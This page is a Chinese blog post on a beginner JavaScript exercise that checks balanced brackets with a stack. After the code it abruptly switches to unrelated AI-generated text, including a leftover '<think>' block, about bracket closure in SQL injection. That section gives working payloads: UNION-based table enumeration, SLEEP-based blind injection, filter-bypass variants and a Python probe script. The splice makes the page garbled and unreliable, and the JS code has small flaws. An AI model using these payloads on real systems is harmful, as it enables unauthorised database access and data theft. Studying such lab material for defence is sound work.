js基础编程-题目19 括号闭合

这篇博客分享了一道JavaScript编程题目,涉及字符串处理和栈数据结构的应用。内容是检查给定的括号字符串是否有效,有效条件为括号必须正确配对且顺序正确。通过创建一个栈来存储左括号,遇到右括号时检查栈顶的左括号是否匹配,匹配则弹出栈顶元素,否则将右括号压入栈。最后栈为空则字符串有效。

整理下初学时做过的js基础编程题目和大家分享以下,如果大家觉得有用,别忘了点一下赞哦

匹配括号字符串

给定一个包括"(","{","[","]","}",")"的字符串,判断是否有效,有效字符串需满足 
1.做括号必须用相同类型的右括号闭合
2.左括号必须以正常顺序闭合

采用入栈出栈的方式实现

function test(str) {
  let temp
  let res = []
  strArr = str.match(/(\(|\)|\{|\}|\[|\]){1}/g)
  while (temp = strArr.shift()) {
    switch (temp) {
      case "(":
        res.push(temp);
        break;
      case "{":
        res.push(temp);
        break;
      case "[":
        res.push(temp);
        break;
      case ")":
        res[res.length - 1] === "("?res.pop():res.push(temp)
        break;
      case "}":
        res[res.length - 1] === "{"?res.pop():res.push(temp)
        break;
      case "]":
        res[res.length - 1] === "["?res.pop():res.push(temp)
        break;
    }
  }
  return res.length === 0
}
<think> 我们正在讨论SQL注入中的闭合问题,特别是括号闭合。用户引用了几个例子,其中有一个是`id=(1) AND [条件] -- `这种形式。我们需要解释这种闭合的含义。 在SQL注入中,闭合是指如何正确地结束原始SQL语句中的字符串和结构,以便插入恶意代码而不破坏语法。括号闭合意味着原始查询中使用了括号,例如: 原始查询可能是:SELECT * FROM users WHERE id = (输入值); 或者:SELECT * FROM users WHERE (id = 输入值); 在用户提供的例子中,`id=(1) AND [条件] -- `中的括号闭合,意味着我们需要在注入时考虑括号的匹配。 具体到`?id=(1) AND [条件] -- `: 1. 原始查询可能形如:SELECT * FROM table WHERE id = (用户输入) 2. 我们构造的注入:将用户输入部分替换成`1) AND [条件] -- `,这样整个查询变为: SELECT * FROM table WHERE id = (1) AND [条件] -- ) 这里,我们用`1)`来闭合原始查询中左括号,然后添加我们自己的条件,再用注释符`--`注释掉剩下的部分(包括原始查询可能有的右括号)。 注意:在有些情况下,原始查询可能是`id = (用户输入)`,那么我们在注入时需要先闭合括号,然后再添加条件,最后注释掉多余的括号。 引用中的例子: 引用[1]:Less 4是闭合双引号和括号,构造`?id=1")%23`,这里%23是#(注释符),所以它闭合了双引号和括号,然后注释掉后面的部分。 引用[2]和[3]:Less 3是单引号加括号闭合,构造`?id=-1') union select ... --+`,这里用单引号和右括号闭合,然后注释。 因此,括号闭合的含义是:在注入时,我们需要在恶意代码之前先闭合原始查询中可能存在的左括号,并在必要时用注释符注释掉剩余的右括号(或其他部分),以保证整个SQL语句语法正确。 步骤: 1. 判断闭合方式:通过输入单引号、双引号等,观察报错信息,判断是否存在括号以及使用什么引号。 2. 构造注入:在注入点使用相应的闭合(比如单引号+右括号),然后添加恶意代码,再用注释符注释掉后续部分。 例如,如果原始查询是: SELECT * FROM users WHERE (id = '$input') 我们输入:1') AND 1=1 -- 则查询变为: SELECT * FROM users WHERE (id = '1') AND 1=1 -- ') 这样,后面的单引号和右括号被注释掉,语法正确。 在盲注中,我们同样需要闭合。例如基于布尔的盲注: ?id=(1) AND (SELECT LENGTH(database()))=4 -- 这里假设原始查询是`id = (输入)`,所以我们输入`1) AND ...`,这样整个条件变成`id = (1) AND ...`,然后注释掉后续可能存在的部分。 注意:有时候括号可能不止一层,需要根据实际情况调整。 总结:括号闭合是为了匹配原始SQL语句中的括号结构,确保注入后的SQL语句语法正确,从而成功执行注入的代码。 </think>### SQL盲注中括号闭合的含义详解 在SQL盲注中,`?id=(1) AND [条件] -- `的括号闭合是指原始SQL语句包含括号结构,注入时需要匹配括号语法以保证SQL语句合法执行。以下是详细解析: #### 一、括号闭合的作用机制 1. **原始查询结构** 当后端SQL语句包含括号时,例如: ```sql SELECT * FROM users WHERE (id = $input) ``` 或 ```sql SELECT * FROM products WHERE category = ('electronics') AND (id = $input) ``` 2. **注入时的闭合原理** ```sql ?id=(1) AND [条件] -- ``` - `(1)`:闭合原始语句的左括号 `(id=` - `)`:添加右括号完成闭合 - `AND [条件]`:插入注入条件 - `-- `:注释后续语句防止语法错误 3. **实际语句变化** ```mermaid graph LR A[原始语句] --> B["SELECT * FROM table WHERE (id = "] B --> C["$input)"] C --> D[其他条件] 注入后 --> E["SELECT * FROM table WHERE (id = (1) AND [条件] -- )"] ``` #### 二、引用案例解析 1. **报错型注入(引用[2][^2])** ```sql ?id=-1') union select 1,2,group_concat(table_name)... ``` - `')`:同时闭合单引号和括号 - 原始语句可能是:`WHERE (id = '$input')` 2. **布尔盲注(引用[1][^1])** ```sql ?id=1") and 1=1%23 ``` - `")`:闭合双引号和括号 - `%23`(#)注释后续语句 #### 三、括号闭合的三大场景 1. **单层括号场景** ```sql -- 原始语句:WHERE (id = $input) ?id=(1) AND SLEEP(5) -- ``` <div class="alert alert-info"> ✅ 正确闭合:用<code>(1)</code>匹配<code>(id=</code>,再用<code>)</code>闭合 </div> 2. **嵌套括号场景** ```sql -- 原始语句:WHERE ((category = 'tech') AND (id = $input)) ?id=(1)) AND (SELECT... -- ``` <div class="alert alert-warning"> ⚠️ 需要两个右括号:第一个闭合约<code>id=</code>,第二个闭合计<code>category</code>的括号 </div> 3. **混合引号场景(引用[3][^3])** ```sql -- 原始语句:WHERE (id = '$input') ?id=1') AND ASCII(... -- ``` <div class="alert alert-success"> 🔍 同时处理引号和括号:<code>'</code>闭合约号,<code>)</code>闭合括号 </div> #### 四、防御绕过技巧 1. **括号闭合的变形** ```sql ?id=(1))%00 -- Null字节截断 ?id=1')%20AND%201=1 -- 编码空格 ?id=1')/*!AND*/1=1 -- MySQL内联注释 ``` 2. **自动化检测工具逻辑** ```python def detect_closure(url): tests = ["'", "')", "\"", "\")", ")", "))"] for t in tests: resp = requests.get(f"{url}?id=1{t}--") if "SQL syntax" not in resp.text: return t # 返回成功闭合的字符 return None ``` --- ### 总结流程图 ```mermaid graph TD A[输入测试] --> B{"是否报错?"} B -->|是| C[尝试单引号闭合] B -->|是| D[尝试双引号闭合] C --> E{"是否报错?"} E -->|是| F[添加括号测试] D --> G{"是否报错?"} G -->|是| H[添加括号测试] F --> I[确认闭合方式] H --> I I --> J[构造注入语句] ``` --- ### 相关问题 1. 如何快速判断SQL注入点的括号闭合类型? 2. 当遇到多层嵌套括号时,如何确保闭合完全正确? 3. 在JSON格式的SQL查询中,括号闭合有什么特殊要求? 4. 如何利用HTTP参数污染绕过括号闭合的过滤机制? [^1]: 双引号加括号闭合的验证过程 [^2]: 报错注入中括号与单引号的同时闭合 [^3]: 混合引号与括号闭合的实际案例
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

柳晓黑胡椒

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值